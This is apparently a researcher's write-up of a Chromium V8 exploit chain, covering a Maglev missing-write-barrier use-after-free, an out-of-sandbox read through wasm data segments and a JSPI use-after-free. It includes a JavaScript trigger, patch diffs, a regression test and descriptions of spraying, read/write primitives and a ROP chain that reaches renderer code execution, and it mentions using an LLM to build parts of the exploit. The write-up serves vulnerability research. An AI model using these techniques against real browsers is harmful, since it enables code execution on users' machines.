In this article, we will utilize a chain (491410818 (CVE-2026-3910), 483092905, 485784597) to exploit the V8 engine, hence, the chromium renderer process, this will give you a detailed and general overview of the current state of things in the V8 exploitation realm, especially given the CVE-2026-3910 analysis, one of the few chromium 2026 in-the-wild vulnerabilities.
For this to be helpful for the layman, and not too hefty for the expert, I will try link as much as possible to where that certain concept or idea is explained in a more thorough manner, so don’t hesitate to click.
💡 This article was written with zero LLMs help, to keep it’s authentic wacky english human sense, the only help of LLMs was in actual exploitation discussed below
LLM Stats
Keeping it true to the “I used AI to exploit X isn’t interpretable without token consumption” idiom, the stats is about 1,088,879,489 of GLM5.1 tokens throughout the exploit development process, that sums getting sandboxed R/W (without the initial maglev PoC) part, un-sandboxed read using wasm’s data_segment_starts part, and JSPI UAF successful spray part.
Admittedly I tried to use agents to one-shot the exploit, I failed. And since I apparently wasn’t the only one that failed in doing so, I think it’s still unachievable (prove me wrong) in the status-quo, nonetheless, as I mentioned, it was able to one shot specific parts of the exploits which bootstrapped my exploit dev experience significantly.
Of course the context had helpful diffs, regression tests, and my tailored guidance, so this number of tokens will need a bit of the reader’s speculation to extract meaningful pointers.
Part 1: Heap R/W
This is the genesis bug, it’s an oversight made by the Maglev mid-tier compiler maintainers, where a write barrier is not emitted for a heap number while assuming it’s a Smi, hence not registering that HeapNumber in the remembered set of an object parent (think obj.reference = HeapNumber) that resides in OldSpace, and given theHeapNumber lives in the NewSpace, when a small GC (dubbed “Scavenger”) runs, the obj.reference pointer ends up as a dangling pointer, introducing a UAF.
This exact GC mal estado has previously been exploited, not once, not twice, so the path to ubercage’s r/w is kinda clear from there, the challenging part for me (not having any prior experience with maglev) was creating the condition where for this exact bug, maglev will not emit the write barrier for a heap pointer, the patch commit helpfully gives us clear pointers on how we can come to that condition:
Merged: [maglev] fix CanElideWriteBarrier Smi recording for phis
Recording a Tagged use is not enough for 2 reasons:
* Tagged uses are sometimes ignored, in particular for loop phis where we distinguish in-loop and out-of-loop uses.
* This Tagged use could only prevent untagging of this specific phi, but none of its inputs. So we could have a Smi phi as input to the current phi which gets untagged and retagged to a non-Smi, all while the current phi doesn't get untagged.
Before tackling each point, a bit of glossary definitions won’t kill anyone.
Lexicon
(Un)Tagging
In V8, a value is either tagged (LSB is set) which signifies a pointer, or untagged (LSB is not set) which signifies a Smi (Small integer), this enables a significance performance optimization coined pointer compression, and in a two birds, one stone fashion, it enables a security boundary called V8 sandbox, one of the rare cases where optimization and security get along with each other.
Phis (Φ)
Since maglev utilizes a Static single-assignmentCFG, it inherits Φ concept from SSA, it’s a function (and a node at the same time in maglev) that roughly translates “my value is one of my two inputs”, it appears in loops and conditional branches, it’s the state merge between two basic blocks basically.
With that aside let’s explore where the two commit message points manifest in code.
1 2
* Tagged uses are sometimes ignored, in particular for loop phis where we distinguish in-loop and out-of-loop uses.
Every Phi node tracks it’s different representations used by nodes it dominates, and for phi representation selection, having a Tagged in use_reprs forbids that certain phi from getting untagged.
1 2 3 4 5 6 7 8 9 10
if (use_reprs.contains(UseRepresentation::kTagged) || use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) { // We don't untag phis that are used as tagged (because we'd have to retag // them later). We also ignore phis that are used as Uint32, because this is // a fairly rare case and supporting it doesn't improve performance all that // much but will increase code complexity. TRACE_UNTAGGING(" => Leaving tagged [incompatible uses]"); EnsurePhiInputsTagged(node); return default_result; }
The twist is that for loop phis, the only use representations counted are the uses inside the loop:
1 2 3 4 5 6 7 8 9 10 11 12 13
UseRepresentationSet use_reprs; // Since TruncatedInt32 is not reversible, we should always consider all uses. if (node->is_loop_phi() && !node->same_loop_use_repr_hints().empty() && !node->same_loop_use_repr_hints().contains_only( UseRepresentation::kTruncatedInt32)) { // {node} is a loop phi that has uses inside the loop; we will tag/untag // based on those uses, ignoring uses after the loop. use_reprs = node->same_loop_use_repr_hints(); TRACE_UNTAGGING(" + use_reprs : " << use_reprs << " (same loop only)"); } else { use_reprs = node->use_repr_hints(); TRACE_UNTAGGING(" + use_reprs : " << use_reprs << " (all uses)"); }
So this important insight has to be taken into consideration in the rest of the maglev’s codebase.
But it wasn’t.
The previous way to sort of enforce the phi node to stay a Smi, was by recording a tagged use (value->MaybeRecordUseReprHint(UseRepresentation::kTagged);), this tagged record, although it transcends parent Phis (note [1] below):
1 2 3 4 5 6 7 8 9
voidValueNode::MaybeRecordUseReprHint(UseRepresentationSet repr_mask){ if (Phi* phi = TryCast<Phi>()) { phi->RecordUseReprHint(repr_mask); } if (CallKnownJSFunction* call = TryCast<CallKnownJSFunction>()) { // std::cout << "Recording UseRepr hint for call : " << repr_mask << "\n"; call->RecordUseReprHint(repr_mask); } }
voidPhi::RecordUseReprHint(UseRepresentationSet repr_mask, bool force_same_loop){ // {force_same_loop} is used when recomputing hints after the initial graph // build, as {is_unmerged_loop_phi()} is no longer a reliable indicator of // whether a use is inside the same loop. if (is_loop_phi() && (is_unmerged_loop_phi() || force_same_loop)) { same_loop_use_repr_hints_.Add(repr_mask); }
if (!repr_mask.is_subset_of(use_repr_hints_)) { use_repr_hints_.Add(repr_mask);
// Propagate in inputs, ignoring unbounded loop backedges. int bound_inputs = input_count(); if (merge_state()->is_unmerged_loop()) --bound_inputs;
for (int i = 0; i < bound_inputs; i++) { if (Phi* phi_input = input(i).node()->TryCast<Phi>()) { phi_input->RecordUseReprHint(repr_mask); // <--- [1] } } } }
1 2 3 4
* This Tagged use could only prevent untagging of this specific phi, but none of its inputs. So we could have a Smi phi as input to the current phi which gets untagged and retagged to a non-Smi, all while the current phi doesn't get untagged.
For at least, this phrase is kind-of vague, because as we established, if a tagged use is registered in a phi, it transcends to it’s input phi, and since that “Smi phi” will have a tagged use, it will not be untagged, but given the first more important point, the statement still eludes to how we can write a PoC for this.
By having a normal Smi typed (i.e. CheckType(value, NodeType::kSmi) == true) phi, that has a Smi loop phi as input, and since that input phi will be untagged, exactly to Int32, it doesn’t inherently have a constraint on surpassing Smi range ($230-1$), other than it’s type range ($232-1$), hence when it will be later re-tagged, in the case where it surpassed Smi range, it will be canonicalized to a HeapNumber, and that’s without a non-emitted write barrier of course.
Source
So how can we formulate that in JS? said simply it’s:
1 2 3 4 5 6 7
functionfoo(b, x) { let y = 0; while (y <= x) y++; let z = b ? y : 1; obj.a = z; return obj.a; }
Yeah, that’s all you need to get a dangling pointer, when x is SMI_MAX it’s not gonna deopt -because it’s still a Smi-, but what will happen to y? it’s gonna read SMI_MAX + 1, the loop has <= ⇒ x + 1 iterations, that’s in Int32 (what y phi will be untagged to) range, and when it’s converted to to a number Int32ToNumber it’s gonna become a HeapNumber at runtime, flowing still through StoreTaggedFieldNoWriteBarrier, here is some selected snippet’s of the maglev graph that will make the point a bit clearer:
Please don’t focus on the code flow, I’ve removed a lot of important nodes and information, I just want you to have the mental model of node 38 (obj.a = z) ⇒ Phi 36 (b ? y : 1;) ⇒ Phi 32 (let y = 0; || while (y <= x) y++; -first iteration is peeled-) ⇒ Phi 22 (while (y <= x) y++;), for now Phi 22 is tagged, and it’s SMIness is correctly checked (23: CheckedSmiUntag`), but notice what happens after Phi untagging pass:
Phi 22 became an Int32, CheckedSmiUntag is gone, no inherent SMIness requirement.
This is completely different with the patch applied:
1 2 3 4 5
+ if constexpr (SmiValuesAre31Bits()) { + if (Phi* value_as_phi = value->TryCast<Phi>()) { + value_as_phi->SetUseRequires31BitValue(); + } + }
This sets the 31 bit value use flag, and this is actually respected by all Phi’s untagging decision (unless of course this variant is broken somewhere deep in the weeds), here is how the graph looks now:
Notice how 23: CheckedSmiSizedInt32 is there, that’s ⁱ effect:
1 2 3 4 5 6 7 8 9 10
if (phi->uses_require_31_bit_value() && old_untagging->Is<CheckedSmiUntag>()) { // CheckedSmiUntag serves a dual-purpose: it untags a Smi but it also // ensures that this value is a Smi (and is therefore in Smi range). We need // to make sure to preserve both of these aspects. DCHECK_EQ(to_repr, ValueRepresentation::kInt32); switch (from_repr) { case ValueRepresentation::kInt32: old_untagging->OverwriteWith<CheckedSmiSizedInt32>(); break;
Exploitation
Exploitation is fairly simple, you need to trigger a major GC so the object get’s moved to the old generation, then after running the function with SMI_MAX, a minor GC will be sufficient so that the HeapNumber is moved to To space (from From space), and the pointer is stale now.
Then we spray a string so we can get OOB read (this is inspired from a 303f06e3’s bug report), we search using it for a sentinel in a FixedArray, and afterwards we replace the spray with the leaked forged (with our new length) JSArray array data, then after we verify the corrupted array length, we create addrof, R/W32 primitives, the method to do so is documented too much to repeat in here.
Part 2: Out-of-sandbox Read
Context
Well for now, since we’re still in the V8 ubercage, we have only compressed pointers for now, and the vow of the sandbox is for no out-of-sandbox write, not reads! at least for now(?).
So it’s easier to find such out-of-sandbox reads instances, the one we utilized here is an instance where data_segment_starts, data_segment_sizesWasmTrustedInstanceData fields are actually still were living in the sandbox, the data_segment_starts struct actually stores unsandboxed pointers, and from it wasm’s mem.buffer memcopy’s from the content it points to, since this bug is a bit clearer, I was successful in slopping it, especially the trusted tables (EPT/TPT/etc…) pointers extraction part.
Exploitation
The relevant part of the exploit is straightforward:
Once the stack returns and is moved to the stack pool, it may be freed at any point depending on the pool capacity and memory pressure. The owning trusted WasmSuspenderObject should be unreachable at this point, but using a sandbox corruption, the object can be kept alive and reused. Clear the EPT entry on return to avoid a use after free.
... diff --git a/test/mjsunit/sandbox/wasm-jspi-uaf.js b/test/mjsunit/sandbox/wasm-jspi-uaf.js new file mode 100644 index 000000000000..a09252d98b01 --- /dev/null +++ b/test/mjsunit/sandbox/wasm-jspi-uaf.js @@ -0,0 +1,35 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --sandbox-testing --expose-gc + +d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); +d8.file.execute('test/mjsunit/sandbox/wasm-jspi.js'); + +let builder = new WasmModuleBuilder(); +let resolve0; +let promises = [new Promise(r => { resolve0 = r; }), + new Promise(r => setTimeout(r, 0))]; +let suspend0 = new WebAssembly.Suspending(() => promises[0]); +let suspend0_index = builder.addImport("m", "suspend0", kSig_v_v); +let suspend1 = new WebAssembly.Suspending(() => promises[1]); +let suspend1_index = builder.addImport("m", "suspend1", kSig_v_v); +function corrupt() { + set_suspender( + get_resume_data(promises[0]), + get_suspender(get_resume_data(promises[1]))); +} +let corrupt_index = builder.addImport("m", "corrupt", kSig_v_v); +builder.addExport("suspend0", suspend0_index); +builder.addExport("suspend1", suspend1_index); +builder.addExport("corrupt", corrupt_index); +let instance = builder.instantiate({m: {suspend0, suspend1, corrupt}}); + +WebAssembly.promising(instance.exports.suspend0)(); +WebAssembly.promising(instance.exports.suspend1)() + .then(v => { + gc({type:'major', execution:'sync', flavor:'last-resort'}); + resolve0(); + }); +instance.exports.corrupt();
The UAF is manifested where StackMemory (a trusted struct used by each JSPI promise(?)), is freed but still it’s EPT entry is still stale, and the owning WasmSuspenderObject instance can still be retrieved and reused for another promise (all external references are just index to trusted tables after all), this memory struct has an appetizing struct called JumpBuffer, it’s fields are all what you want to see:
So by spraying JumpBuffer‘s over the freed StackMemory space we intuitively get code execution.
JumpBuffer struct, and JSPI usage in general in sandbox escape has previously been demonstrated many times, and this is just another interesting slip-up.
Exploitation
Since this gets us SP/PC control, it’s just a matter of gathering gadgets (we can get binary base from IsolateData trivially leaked from the previous out-of-sandbox read primitive) and profit.
I used a mundane fork() -> execve() ROP chain instead of directly execve since chromium seems to kill any process (now Calculator) that fails to communicate with the Mojo IPC (that’s just my llm’s speculation, I am not an IPC guy).
For GC function it’s trivially implemented with allocating big ArrayBuffers which apparently get allocated in it’s own space, two birds one stone since we don’t want to mess up our two UAFs spraying steps.
1 2 3 4 5 6 7 8 9 10 11 12
functiongc(options) { if (options.type === "minor") { for (let i = 0; i < 4; i++) { newArray(0x10000); } } elseif (options.type === "major" && options.flavor == "last-resort") { newArrayBuffer(0x80000000); newArrayBuffer(0x80000000); } elseif (options.type === "major") { newArrayBuffer(0x80000000); } }
The spraying might fail sometimes, the exploit success rate is about 70%, but that’s easily managed by multiple tabs/iframes.
Epilogue
The exploit is horrifically disgusting, you can find it in full here, this bug combines two UAF bugs and an out-of-sandbox read primitive, to get code execution in the chromium’s 146 renderer process, you can adapt this exploit to your needs and for other browser versions to pwn headless browsers for example (they usually run with —-no-sandbox), responsibly of course!